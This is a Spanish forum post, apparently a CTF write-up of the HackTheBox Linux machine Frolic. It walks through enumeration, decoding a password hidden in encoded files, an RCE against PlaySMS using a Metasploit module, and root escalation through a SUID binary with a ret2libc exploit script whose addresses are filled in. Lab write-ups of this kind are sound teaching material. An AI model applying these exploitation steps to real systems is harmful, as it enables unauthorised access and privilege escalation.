WriteUp – Frolic (HackTheBox)

Iniciado por Gold Master, Abril 08, 2019, 12:04:19 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

En este post haremos la máquina Frolic de HackTheBox.
Es una máquina Linux de nivel medio que nos ayudará a aprender sobre el desarrollo de exploits para binarios con NX pero sin ASLR, es decir ret-2-libc.

Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de todos los puertos con nmap:

Código: php
1	nmap -sC -sV 10.10.10.111






Como veis, hay un SSH, un SMB y un HTTP.
Vamos a enumerar la web con dirsearch recursivamente.

Código: php
1	dirsearch -u http://frolic.htb:9999/ -r -e php -t 50 -x 403






Accediendo aNo tienes permitido ver los links. Registrarse o Entrar a mi cuentavemos un código Okk!

En No tienes permitido ver los links. Registrarse o Entrar a mi cuenta encontramos un base64 que tras decodificarlo vemos que es un ZIP con contraseña.

Podemos hacerle fuerza bruta al zip con fcrackzip:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El ZIP contiene un fichero index.php que es un hexadecimal. Pasamos el hexadecimal a ascii obteniendo un base64 que contiene un código brainfuck.

Tras decodificar el Brainfuck, obtenemos: idkwhatispass
Revisando los resultados del Dirsearch vemos que hay un http://frolic.htb/dev/backup

Mediante las credenciales admin:idkwhatispass podremos acceder al playsms.

Explotación
El PlaySMS es vulnerable, podremos obtener shell mediante un módulo de metasploit: multi/http/playsms_uploadcsv_exec

Código: php
123456	use multi/http/playsms_uploadcsv_execset rhosts 10.10.10.111set lhost tun0set rport 9999    set targeturi /playsms/set password idkwhatispass


Post-Explotación
Para acceder al usuario root tendremos que ser capaces de desarrollar un exploit para un binario con el bit NX activo pero sin ASLR en el sistema. Yo usaré la técnica ret2libc.

Lo primero es buscar binarios con el bit SUID activo utilizando el comando find:
Código: php

1 find / -perm -4000 2>/dev/null


Encontramos el binario: /home/ayush/.binary/rop que pertenece al usuario root.
ASLR desactivado:

Código: php

1 cat /proc/sys/kernel/randomize_va_space


Como veíaimos en la guia de ret-2-libc: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, necesitamos la longitud de nuestro relleno y las direcciones de system, exit y /bin/sh en la biblioteca libc.
Vamos a hacernos una plantilla que iremos completando:

Código: php
123456789101112	import struct def m32(dir):return struct.pack("I",dir) padding =base =sys = m32(base + )exit = m32(base + )binsh = m32(base + ) print padding + sys + exit + binsh


Busquemos la longitud de nuestro relleno con msf-pattern:

La longitud de nuestro relleno será 52 bytes, busquemos las direcciones de la biblioteca libc, de system, de exit y de /bin/sh.

Nuestro exploit será:
Código: php
123456789101112	import struct def m32(dir):return struct.pack("I",dir) padding = "A" * 52base = 0xb7e19000sys = m32(base + 0x0003ada0)exit = m32(base + 0x0002e9d0)binsh = m32(base + 0x15ba0b) print padding + sys + exit + binsh


Ejecutemoslo:
Código: php
1	./rop $(python /tmp/exploit)


Referencia: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta